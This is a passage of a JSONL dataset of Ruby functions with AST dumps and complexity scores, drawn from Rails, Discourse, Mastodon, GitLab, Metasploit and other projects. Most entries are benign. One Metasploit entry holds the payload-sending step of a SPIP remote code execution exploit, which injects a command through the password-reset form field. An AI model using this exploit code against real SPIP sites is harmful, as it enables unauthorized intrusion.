value...(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"address_format\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]}]},\"pack\",{\"type\":\"lvar\",\"children\":[\"address_format\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"809035e9-d2eb-4d82-ba98-bf390846952d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1905,"raw_source":"def self.with_no_response_total(opts = {})\n    builder = DB.build(WITH_NO_RESPONSE_TOTAL_SQL)\n    if opts[:category_id]\n      if opts[:include_subcategories]\n        builder.where(\"t.category_id IN (?)\", Category.subcategory_ids(opts[:category_id]))\n      else\n        builder.where(\"t.category_id = ?\", opts[:category_id])\n      end\n    end\n    builder.where(\"t.archetype <> '#{Archetype.private_message}'\")\n    builder.where(\"t.deleted_at IS NULL\")\n    builder.query_single.first.to_i\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_no_response_total\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"build\",{\"type\":\"const\",\"children\":[null,\"WITH_NO_RESPONSE_TOTAL_SQL\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_subcategories\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"t.category_id IN (?)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"subcategory_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"t.category_id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"t.archetype <> '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"where\",{\"type\":\"str\",\"children\":[\"t.deleted_at IS NULL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"query_single\"]},\"first\"]},\"to_i\"]}]}]}","id":"15b6c183-0916-49cf-bbac-73406e6c3b4d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":4000,"raw_source":"def test_lazy_loading_default_form_builder\n    old_default_form_builder, ActionView::Base.default_form_builder =\n      ActionView::Base.default_form_builder, \"FormHelperTest::LabelledFormBuilder\"\n\n    form_for(@post) do |f|\n      concat f.text_field(:title)\n    end\n\n    expected = whole_form(\"/posts/123\", \"edit_post_123\", \"edit_post\", method: \"patch\") do\n      \"<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>\"\n    end\n\n    assert_dom_equal expected, @rendered\n  ensure\n    ActionView::Base.default_form_builder = old_default_form_builder\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_lazy_loading_default_form_builder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_default_form_builder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"default_form_builder=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"default_form_builder\"]},{\"type\":\"str\",\"children\":[\"FormHelperTest::LabelledFormBuilder\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"edit_post_123\"]},{\"type\":\"str\",\"children\":[\"edit_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"default_form_builder=\",{\"type\":\"lvar\",\"children\":[\"old_default_form_builder\"]}]}]}]}","id":"64a0e28a-5a42-4312-af71-32d36f6f0d69"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/email_controller.rb","start_line":77,"raw_source":"def one_click_unsubscribe?\n    request.post? && params[\"List-Unsubscribe\"] == \"One-Click\"\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"one_click_unsubscribe?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"post?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"List-Unsubscribe\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"One-Click\"]}]}]}]}","id":"f065a9d1-64da-47e6-a274-6526e0822c46"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb","start_line":162,"raw_source":"def clear_active_connections!(role = nil)\n        each_connection_pool(role).each do |pool|\n          pool.release_connection\n          pool.disable_query_cache!\n        end\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_active_connections!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"role\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_connection_pool\",{\"type\":\"lvar\",\"children\":[\"role\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"release_connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"disable_query_cache!\"]}]}]}]}","id":"db9bee1c-ae35-408f-848f-fd10dbed41fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_instance.rb","start_line":148,"raw_source":"def self.display_name(number = 1)\n    n_('Automate Instance', 'Automate Instances', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Automate Instance\"]},{\"type\":\"str\",\"children\":[\"Automate Instances\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"8f0b4854-e5dd-4a0e-90f6-3bc6fa864a64"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/fan_out_on_write_service_spec.rb","start_line":30,"raw_source":"def home_feed_of(account)\n    HomeFeed.new(account).get(10).map(&:id)\n  end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"home_feed_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HomeFeed\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},\"get\",{\"type\":\"int\",\"children\":[10]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"45274556-9acf-49b9-871f-a9ac4c082ed8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/index_test.rb","start_line":106,"raw_source":"def test_add_index_fallback_to_short_name\n        connection.add_index(table_name, [:foo, :bar, :first_name, :last_name, :administrator])\n        assert connection.index_name_exists?(table_name, \"idx_on_foo_bar_first_name_last_name_administrator_5939248142\")\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_index_fallback_to_short_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"sym\",\"children\":[\"administrator\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_name_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"str\",\"children\":[\"idx_on_foo_bar_first_name_last_name_administrator_5939248142\"]}]}]}]}]}","id":"26782c23-6c80-41a7-ac3d-f39d38a9fb87"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spip_rce_form.rb","start_line":99,"raw_source":"def send_payload(cmd, args = {})\n    send_request_cgi(\n      {\n        'uri' => args['uri'],\n        'method' => 'POST',\n        'vars_post' => {\n          'page' => 'spip_pass',\n          'lang' => 'fr',\n          'formulaire_action' => 'oubli',\n          'formulaire_action_args' => args['csrf'],\n          'oubli' => cmd\n        }\n      }\n    )\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"spip_pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lang\"]},{\"type\":\"str\",\"children\":[\"fr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"formulaire_action\"]},{\"type\":\"str\",\"children\":[\"oubli\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"formulaire_action_args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"str\",\"children\":[\"csrf\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"oubli\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]}","id":"01e280e8-9b4a-4b11-83ae-b2ee082ca7fc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/vacuum/media_attachments_vacuum.rb","start_line":33,"raw_source":"def media_attachments_past_retention_period\n    MediaAttachment\n      .remote\n      .cached\n      .created_before(@retention_period.ago)\n      .updated_before(@retention_period.ago)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"media_attachments_past_retention_period\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MediaAttachment\"]},\"remote\"]},\"cached\"]},\"created_before\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@retention_period\"]},\"ago\"]}]},\"updated_before\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@retention_period\"]},\"ago\"]}]}]}","id":"c0839cd2-a627-462d-9d87-335a57dd31ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/runner_upgrade_check.rb","start_line":21,"raw_source":"def add_suggestion(suggestions, runner_version, version, status)\n        return false unless version && version > runner_version\n\n        suggestions[version] = status\n        true\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_suggestion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suggestions\"]},{\"type\":\"arg\",\"children\":[\"runner_version\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">\",{\"type\":\"lvar\",\"children\":[\"runner_version\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestions\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"0468be96-ae94-4700-bdb0-ec6b17a2118d"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generated_attribute_test.rb","start_line":16,"raw_source":"def teardown\n    Rails.application.config.active_record.belongs_to_required_by_default = @old_belongs_to_required_by_default\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"active_record\"]},\"belongs_to_required_by_default=\",{\"type\":\"ivar\",\"children\":[\"@old_belongs_to_required_by_default\"]}]}]}","id":"d962829b-6443-4c44-81af-e1b3ec36c51f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb","start_line":75,"raw_source":"def get_function(name)\n    return functions[name]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_function\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"functions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"28b5f6a9-15b8-43fa-9fbb-e189a8daf940"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":308,"raw_source":"def test_database_puts_migrations_in_configured_folder\n    with_database_configuration do\n      run_generator [\"create_books\", \"--database=secondary\"]\n      assert_migration \"db/secondary_migrate/create_books.rb\" do |content|\n        assert_method :change, content do |change|\n          assert_match(/create_table :books/, change)\n        end\n      end\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_database_puts_migrations_in_configured_folder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_database_configuration\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"create_books\"]},{\"type\":\"str\",\"children\":[\"--database=secondary\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"str\",\"children\":[\"db/secondary_migrate/create_books.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"create_table :books\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}]}","id":"d95f3804-8b54-4aa1-89b2-b588615c75be"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/error_handling_test.rb","start_line":49,"raw_source":"def test_syntax\n    template = Liquid::Template.parse(' {{ errors.syntax_error }} ')\n    assert_equal(' Liquid syntax error: syntax error ', template.render('errors' => ErrorDrop.new))\n\n    assert_equal(1, template.errors.size)\n    assert_equal(SyntaxError, template.errors.first.class)\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_syntax\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\" {{ errors.syntax_error }} \"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\" Liquid syntax error: syntax error \"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorDrop\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"errors\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"errors\"]},\"first\"]},\"class\"]}]}]}]}","id":"05560994-1ebb-48a5-8242-a476b9f10a66"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/reminders/reminder_representer.rb","start_line":87,"raw_source":"def v3_remindable_name\n          ar_name = represented.remindable_type.underscore\n\n          ::API::Utilities::PropertyNameConverter.from_ar_name(ar_name).underscore\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"v3_remindable_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ar_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"remindable_type\"]},\"underscore\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"Utilities\"]},\"PropertyNameConverter\"]},\"from_ar_name\",{\"type\":\"lvar\",\"children\":[\"ar_name\"]}]},\"underscore\"]}]}]}","id":"696393ff-6df8-48e6-8983-27b31166e9f8"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/custom_actions/form.rb","start_line":84,"raw_source":"def set_action(name, value)\n          set_action_value(name, value)\n        rescue Capybara::ElementNotFound\n          add_action(name, value)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_action_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"ElementNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_action\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]}","id":"0490d129-3eba-4b43-8ea2-877a82b8d4f2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/notification_settings_controller.rb","start_line":22,"raw_source":"def notification_setting_params\n    params.require(:notification_settings).permit(selected_email_flags: [], selected_push_flags: [])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_setting_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"notification_settings\"]}]},\"permit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected_email_flags\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected_push_flags\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"c04fd725-792f-464a-a592-5f34782ec423"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rubocop/cop/layout/module_hash_values_on_same_line.rb","start_line":62,"raw_source":"def hash_arg?(node)\n          node.type == :hash\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_arg?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}","id":"336b8540-0b86-4c4b-a43c-e566ee2200f4"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/subscriptions.rb","start_line":33,"raw_source":"def add(data)\n        id_key = data[\"identifier\"]\n        id_options = ActiveSupport::JSON.decode(id_key).with_indifferent_access\n\n        return if subscriptions.key?(id_key)\n\n        subscription_klass = id_options[:channel].safe_constantize\n\n        if subscription_klass && ActionCable::Channel::Base > subscription_klass\n          subscription = subscription_klass.new(connection, id_key, id_options)\n          subscriptions[id_key] = subscription\n          subscription.subscribe_to_channel\n        else\n          logger.error \"Subscription class not found: #{id_options[:channel].inspect}\"\n        end\n      end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"identifier\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"id_key\"]}]},\"with_indifferent_access\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"id_key\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"subscription_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"safe_constantize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription_klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"Channel\"]},\"Base\"]},\">\",{\"type\":\"lvar\",\"children\":[\"subscription_klass\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription_klass\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"connection\"]},{\"type\":\"lvar\",\"children\":[\"id_key\"]},{\"type\":\"lvar\",\"children\":[\"id_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id_key\"]},{\"type\":\"lvar\",\"children\":[\"subscription\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"subscribe_to_channel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Subscription class not found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"inspect\"]}]}]}]}]}]}]}","id":"5bbfb7d4-3600-4f97-8c2f-9af362e0dda5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250326141100_remove_deployment_data_from_pages_metadatum.rb","start_line":36,"raw_source":"def down\n    add_column :project_pages_metadata, :deployed, :boolean, default: false, null: false\n    add_column :project_pages_metadata, :pages_deployment_id, :bigint, null: true\n    add_concurrent_foreign_key TABLE_NAME, :pages_deployments,\n      column: :pages_deployment_id,\n      on_delete: :nullify\n\n    INDEXES.each do |index|\n      add_concurrent_index(\n        TABLE_NAME, index[:columns],\n        name: index[:name], **index.fetch(:options, {})\n      )\n    end\n  